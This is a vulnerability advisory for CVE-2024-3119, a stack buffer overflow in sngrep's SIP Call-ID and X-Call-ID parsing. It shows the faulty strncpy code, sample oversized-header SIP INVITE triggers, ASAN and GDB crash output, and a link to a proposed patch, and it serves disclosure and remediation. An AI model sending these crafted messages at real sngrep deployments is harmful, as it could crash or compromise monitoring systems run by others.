Stack Overflow in SIP Header Processing

Apr 4, 2024

CVE Number

CVE-2024-3119

Credits

Huascar Tejeda of Pentraze Cybersecurity

Summary

A buffer overflow vulnerability exists in sngrep’s processing of Call-ID and X-Call-ID SIP headers, enabling the remote execution of arbitrary code or causing a denial of service through specially crafted SIP messages.

CVSS

9.0 (Critical) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

The vulnerability arises from improper handling of Call-ID and X-Call-ID SIP headers within the sip_get_callid and sip_get_xcallid functions in sip.c. Specifically, the strncpy function is utilized to copy the contents of these headers into fixed-size local buffers without verifying that the data length does not exceed buffer limits. This issue is apparent in the lines:

242             strncpy(callid, payload + pmatch[2].rm_so, (int) pmatch[2].rm_eo - pmatch[2].rm_so);
...
255             strncpy(xcallid, payload + pmatch[2].rm_so, (int) pmatch[2].rm_eo - pmatch[2].rm_so);

These operations attempt to copy the whole of the “Call-ID” or “X-Call-ID” from a SIP message payload into respective buffers, each allocated 1024 bytes, without prior validation against the buffer’s capacity. This can lead to a buffer overflow condition if an oversized header is processed.

The primary concern is the lack of bounds checking before the strncpy operation, and strncpy’s failure to ensure null-termination, potentially leading to further vulnerabilities.

Steps to reproduce:

  1. Start sngrep in terminal mode: $ sudo sngrep -T
  2. Send a crafted SIP message with an oversized Call-ID or X-Call-ID header over the network.

Sample triggers:

  1. Call-ID:
   INVITE sip:htejeda@example.com SIP/2.0\r\n
   Via: SIP/2.0/TCP 10.1.0.2:5060;branch=z9hG4bK-123456\r\n"
   Call-ID: A*2080\r\n
   Content-Length: 0\r\n\r\n
  1. X-Call-ID:
  INVITE sip:htejeda@example.com SIP/2.0\r\n
  Via: SIP/2.0/TCP 10.1.0.2:5060;branch=z9hG4bK-123456\r\n"
  X-Call-ID: A*2080\r\n
  Content-Length: 0\r\n\r\n

Proposed Fix:

I’ve developed a patch that introduces bounds checking and ensures proper null-termination of strings, preventing the input size from exceeding the allocated buffer sizes for “Call-ID” and “X-Call-ID”. To facilitate an easy review, I’ve forked the repository, applied the patch, and pushed the changes to my repo. The commit with the proposed fix can be viewed here: https://github.com/htejeda/sngrep/commit/73c15c82d14c69df311e05fa75da734faafd365f.

ASAN

$ sudo ./src/sngrep -T
Dialog count: 0=================================================================
==3678432==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff40738a0 at pc 0x55555565157a bp 0x7ffff4afe7b0 sp 0x7ffff4afdf70
WRITE of size 1030 at 0x7ffff40738a0 thread T1
    #0 0x555555651579 in strncpy (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825)
    #1 0x5555556b6f08 in sip_get_xcallid /home/htejeda/sngrep/src/sip.c:255:9
    #2 0x5555556b82ed in sip_check_packet /home/htejeda/sngrep/src/sip.c:381:9
    #3 0x5555556ae86b in capture_packet_parse /home/htejeda/sngrep/src/capture.c:988:13
    #4 0x5555556a8a93 in parse_packet /home/htejeda/sngrep/src/capture.c:455:9
    #5 0x7ffff7eddc28 in pcap_handle_packet_mmap /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:3978:2
    #6 0x7ffff7ede1c3 in pcap_read_linux_mmap_v3 /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap-linux.c:4128:10
    #7 0x7ffff7ee207d in pcap_loop /build/libpcap-bgtaqR/libpcap-1.10.1/./pcap.c:2904:9
    #8 0x5555556a6e46 in capture_thread /home/htejeda/sngrep/src/capture.c:1069:5
    #9 0x7ffff7a94ac2 in start_thread nptl/pthread_create.c:442:8
    #10 0x7ffff7b2684f  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Address 0x7ffff40738a0 is located in stack of thread T1 at offset 2208 in frame
    #0 0x5555556b7bcf in sip_check_packet /home/htejeda/sngrep/src/sip.c:328

  This frame has 3 object(s):
    [32, 1056) 'callid' (line 331)
    [1184, 2208) 'xcallid' (line 331)
    [2336, 12576) 'payload' (line 332) <== Memory access at offset 2208 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
Thread T1 created by T0 here:
    #0 0x55555564ec0a in pthread_create (/home/htejeda/sngrep/src/sngrep+0xfac0a) (BuildId: 62e1f4d43b909825)
    #1 0x5555556b07f2 in capture_launch_thread /home/htejeda/sngrep/src/capture.c:1054:13
    #2 0x5555556ca643 in main /home/htejeda/sngrep/src/main.c:451:9
    #3 0x7ffff7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/htejeda/sngrep/src/sngrep+0xfd579) (BuildId: 62e1f4d43b909825) in strncpy
Shadow bytes around the buggy address:
  0x7ffff4073600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ffff4073880: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7ffff4073900: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff4073b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3678432==ABORTING

GDB Backtrace

(gdb) bt
#0  0x00007ffff7c969fc in __pthread_kill_implementation (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:44

#1  0x00007ffff7c969fc in __pthread_kill_internal (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:78

#2  0x00007ffff7c969fc in __GI___pthread_kill (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_kill.c:89

#3  0x00007ffff7c42476 in __GI_raise (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/posix/raise.c:26

#4  0x00007ffff7c287f3 in __GI_abort (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./stdlib/abort.c:79

#5  0x00007ffff7c89676 in __libc_message (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/posix/libc_fatal.c:155

#6  0x00007ffff7d3659a in __GI___fortify_fail (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/fortify_fail.c:26

#7  0x00007ffff7d34f16 in __GI___chk_fail (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/chk_fail.c:28

#8  0x00007ffff7d34959 in __strncpy_chk (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./debug/strncpy_chk.c:26

#9  0x00005555555615ce in strncpy (/home/htejeda/sngrep/src/sngrep)
                       ??: char strncpy(__len = (size_t)<optimized out>, __src = (const char * restrict)<optimized out>, __dest = (char * restrict)0x7ffff7886c60 "") {
                       ||:
                       ||: /* Local reference: size_t __len = <optimized out>; */
                       ||: /* Local reference: char * restrict __dest = 0x7ffff7886c60 ""; */
                       ||: /* Local reference: const char * restrict __src = <optimized out>; */
                       93:              size_t __len))
                       94: {
                       95:   return __builtin___strncpy_chk (__dest, __src, __len,
                       ||:
                       --: }
                       at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95

#10 0x00005555555615ce in sip_get_callid (/home/htejeda/sngrep/src/sngrep)
                       ???: char sip_get_callid(callid = (char *)0x7ffff7886c60 "", payload = (const char *)0x7ffff7887460 "INVITE sip:htejeda@example.com SIP/2.0\r\nVia: SIP/2.0/TCP 10.1.0.2:5060;branch=z9hG4bK-123456\r\nX-Call-ID: ", 'A' <repeats 92 times>...) {
                       |||:
                       |||: /* Local reference: u_char [10240] payload = "INVITE sip:htejeda@example.com SIP/2.0\r\nVia: SIP/2.0/TCP 10.1.0.2:5060;branch=z9hG4bK-123456\r\nX-Call-ID: ", 'A' <repeats 2056 times>...; */
                       |||: /* Local reference: regmatch_t [3] pmatch = {{rm_so = 2190, rm_eo = 4280}, {rm_so = 2190, rm_eo = 2197}, {rm_so = 2199, rm_eo = 4279}}; */
                       |||: /* Local reference: char [1024] callid = '\000' <repeats 1023 times>; */
                       240:     if (regexec(&calls.reg_callid, payload, 3, pmatch, 0) == 0) {
                       241:         // Copy the matching part of payload
                       242:         strncpy(callid, payload + pmatch[2].rm_so, (int) pmatch[2].rm_eo - pmatch[2].rm_so);
                       |||:
                       ---: }
                       at sip.c:242

#11 0x00005555555615ce in sip_check_packet (/home/htejeda/sngrep/src/sngrep)
                       327: sip_msg_t sip_check_packet(packet = (packet_t *)0x7ffff0000e70) {
                       |||:
                       |||: /* Local reference: u_char [10240] payload = "INVITE sip:htejeda@example.com SIP/2.0\r\nVia: SIP/2.0/TCP 10.1.0.2:5060;branch=z9hG4bK-123456\r\nX-Call-ID: ", 'A' <repeats 2056 times>...; */
                       |||: /* Local reference: char [1024] callid = '\000' <repeats 1023 times>; */
                       346:
                       347:     // Get the Call-ID of this message
                       348:     if (!sip_get_callid((const char*) payload, callid))
                       |||:
                       ---: }
                       at sip.c:348

#12 0x000055555555e1f3 in capture_packet_parse (/home/htejeda/sngrep/src/sngrep)
                       980: int capture_packet_parse(packet = (packet_t *)0x7ffff0000e70) {
                       |||:
                       |||: /* Local reference: packet_t * packet = 0x7ffff0000e70; */
                       986:     if (packet_payloadlen(packet)) {
                       987:         // Parse this header and payload
                       988:         if (sip_check_packet(packet)) {
                       |||:
                       ---: }
                       at capture.c:988

#13 0x000055555555f298 in parse_packet (/home/htejeda/sngrep/src/sngrep)
                       320: void parse_packet(info = (u_char *)0x5555555a9700 "\001\001", header = (const struct pcap_pkthdr *)0x7ffff788ed40, packet = (const u_char *)<optimized out>) {
                       |||:
                       |||: /* Local reference: const u_char * packet = <optimized out>; */
                       |||: /* Local reference: packet_t * pkt = 0x7ffff0000e70; */
                       453:     capture_lock();
                       454:     // Check if we can handle this packet
                       455:     if (capture_packet_parse(pkt) == 0) {
                       |||:
                       ---: }
                       at capture.c:455

#14 0x00007ffff7f00c54 in pcap_offline_read (/lib/x86_64-linux-gnu/libpcap.so.0.8)
                       at ./savefile.c:654

#15 0x00007ffff7ee2048 in pcap_loop (/lib/x86_64-linux-gnu/libpcap.so.0.8)
                       at ./pcap.c:2897

#16 0x000055555555d410 in capture_thread (/home/htejeda/sngrep/src/sngrep)
                       1064: void capture_thread(info = (void *)0x5555555a9700) {
                       ||||:
                       ||||: /* Local reference: capture_info_t * capinfo = 0x5555555a9700; */
                       1067:
                       1068:     // Parse available packets
                       1069:     pcap_loop(capinfo->handle, -1, parse_packet, (u_char *) capinfo);
                       ||||:
                       ----: }
                       at capture.c:1069

#17 0x00007ffff7c94ac3 in start_thread (/lib/x86_64-linux-gnu/libc.so.6)
                       at ./nptl/pthread_create.c:442

#18 0x00007ffff7d26850 in clone3 (/lib/x86_64-linux-gnu/libc.so.6)
                       at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

Crash context:
Execution stopped here ==> 0x00007ffff7c969fc: mov    r13d,eax

Register info:
   rax - 0x0000000000000000 (0)
   rbx - 0x00007ffff788f640 (140737346336320)
   rcx - 0x00007ffff7c969fc (140737350560252)
   rdx - 0x0000000000000006 (6)
   rsi - 0x000000000008eb2b (584491)
   rdi - 0x000000000008e556 (582998)
   rbp - 0x000000000008eb2b (0x8eb2b)
   rsp - 0x00007ffff78868a0 (0x7ffff78868a0)
    r8 - 0x00007ffff7886970 (140737346300272)
    r9 - 0x0000000000000000 (0)
   r10 - 0x0000000000000008 (8)
   r11 - 0x0000000000000246 (582)
   r12 - 0x0000000000000006 (6)
   r13 - 0x0000000000000016 (22)
   r14 - 0x0000000000000002 (2)
   r15 - 0x0000000000000001 (1)
   rip - 0x00007ffff7c969fc (0x7ffff7c969fc <__GI___pthread_kill+300>)
eflags - 0x00000246 ([ PF ZF IF ])
    cs - 0x00000033 (51)
    ss - 0x0000002b (43)
    ds - 0x00000000 (0)
    es - 0x00000000 (0)
    fs - 0x00000000 (0)
    gs - 0x00000000 (0)

Services

Penetration Testing

Proactive assessment using tactics, techniques, and procedures of actual attackers to identify security flaws, incorrect configurations, and vulnerabilities.

Learn more

Application Security Testing

Comprehensive application protection, ensuring robust security throughout the entire software development lifecycle.

Learn more

Red Team Exercises

Simulate and emulate advanced cyber attacks to pinpoint vulnerabilities and test your organization's defense mechanisms, ensuring robust resilience against real-world threats.

Learn more

Vulnerability Management

Proactive process to identify, prioritize, and address security vulnerabilities in systems and software, enhancing an organization's defense against evolving cyber threats.

Learn more